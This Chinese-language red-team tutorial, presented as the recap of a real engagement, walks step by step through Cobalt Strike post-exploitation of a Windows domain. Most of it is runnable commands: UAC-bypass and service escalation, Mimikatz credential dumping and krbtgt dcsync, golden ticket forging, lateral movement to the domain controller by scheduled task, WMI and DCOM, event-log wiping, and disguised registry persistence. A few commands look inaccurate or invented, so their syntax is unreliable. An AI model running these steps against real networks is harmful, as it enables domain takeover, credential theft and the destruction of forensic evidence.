Cobalt Strike实战:一次完整的Windows内网提权与哈希获取过程复盘(含Mimikatz、Golden Ticket技巧)
Cobalt Strike高级内网渗透:从初始立足到域控攻陷的实战路径
当你的Beacon终于在一台Windows 10主机上闪烁起来,这仅仅是漫长战役的开始。真正的挑战在于如何从这个微不足道的User权限出发,穿透层层防御,最终掌控整个内网。本文将还原一次真实的红队行动,展示如何组合运用Cobalt Strike的Access模块、Mimikatz和Golden Ticket等武器,构建一条完整的攻击链。
1. 初始立足点的巩固与侦察
获得第一个Beacon会话后,大多数初级测试人员会迫不及待地尝试提权操作,这往往导致触发防御机制。更专业的做法是先进行"低慢小"的侦察:
# 获取基础系统信息 shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" shell whoami /all关键侦察点:
- 系统架构(x86/x64)
- 已安装的补丁级别
- 当前用户的权限组
- 存在的安全软件进程
提示:使用
net localgroup administrators查看本地管理员组,这些账户往往是后续横向移动的跳板
通过net view /domain确认目标是否处于域环境中后,使用CS内置的端口扫描功能绘制网络拓扑:
| 扫描类型 | 命令示例 | 用途 |
|---|---|---|
| ARP扫描 | portscan 192.168.1.0/24 arp 1000 | 发现存活主机 |
| TCP扫描 | portscan 192.168.1.10 icmp 445,3389 | 确认关键端口 |
2. 权限提升的艺术:绕过UAC与服务漏洞
当需要从User权限提升到Administrator时,CS提供了两种经典路径:
UAC绕过:
elevate uac-dll listener_name这种技术通过DLL劫持实现,成功率约70%,但会留下明显的日志痕迹
服务提权:
elevate svc-exe listener_name通过创建恶意Windows服务获取SYSTEM权限,对老旧系统特别有效
实际测试中发现,现代Windows 10/11系统对这两种方式都有较强防护。此时可以尝试组合利用:
# 检查可写服务路径 shell accesschk.exe -uwcqv "Authenticated Users" * shell sc qc vulnerable_service提权技术对比表:
| 技术 | 所需条件 | 成功率 | 隐蔽性 |
|---|---|---|---|
| UAC-DLL | 管理员账户 | 中 | 低 |
| SVC-EXE | 服务配置缺陷 | 高 | 中 |
| 令牌窃取 | 存在SYSTEM进程 | 极高 | 高 |
3. 凭据收割:Mimikatz的进阶用法
获取管理员权限后,传统的logonpasswords命令可能无法获取完整凭据。现代防御系统会拦截经典的Mimikatz调用,此时需要采用模块化加载:
mimikatz !sekurlsa::logonpasswords mimikatz !lsadump::lsa /patch常见问题处理:
- 遇到"Protected Process"警告时,使用
!process::protect解除保护 - 对于LSASS内存保护,先执行
!process::suspend暂停进程 - 导出结果为空时,尝试
!crypto::patch修补加密函数
注意:在域控制器上执行
lsadump::dcsync /user:krbtgt可直接获取黄金票据原料
4. 黄金票据:打造域内通行证
获取krbtgt的NTLM哈希后,构造黄金票据只需三个关键参数:
golden_ticket create -domain demo.com -sid S-1-5-21-... -krbtgt a9b8c7d6e5f4... -user fake_admin票据使用技巧:
- 设置超长有效期(默认10年)
- 将普通域用户加入特权组(Enterprise Admins)
- 通过
make_token创建交互式会话
# 验证票据有效性 shell klist shell dir \\dc01.demo.com\c$5. 横向移动的隐蔽通道
拥有域管理员凭据后,传统的PsExec方式容易被检测。更隐蔽的做法包括:
计划任务投递:
shell schtasks /create /s dc01 /tn "Update" /tr "C:\payload.exe" /sc once /st 00:00 /ru "SYSTEM" shell schtasks /run /s dc01 /tn "Update"WMI远程执行:
shell wmic /node:dc01 process call create "cmd.exe /c start payload.exe"DCOM组件滥用:
shell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","dc01"))
6. 痕迹清理与持久化
完成目标后,专业的红队会清理战场:
# 清除事件日志 shell wevtutil cl system shell wevtutil cl security # 删除计划任务 shell schtasks /delete /tn "Update" /f # 创建隐藏后门 persistence -reg -name "WindowsUpdate" -path "C:\Windows\System32\update.exe"持久化技术对比:
| 方法 | 触发条件 | 检测难度 | 适用场景 |
|---|---|---|---|
| 注册表 | 用户登录 | 中 | 工作站 |
| 服务 | 系统启动 | 高 | 服务器 |
| WMI | 定时触发 | 极高 | 域控 |
| 启动项 | 用户登录 | 低 | 临时访问 |
在真实的渗透测试中,我曾遇到一个金融企业的内网,通过组合使用服务提权和WMI横向移动,最终在36小时内完成了从边缘员工机到域控的完整控制链。关键在于每个阶段都要准备备用方案——当UAC绕过失败时,及时切换到服务漏洞利用;当Mimikatz被拦截时,改用注册表提取哈希。
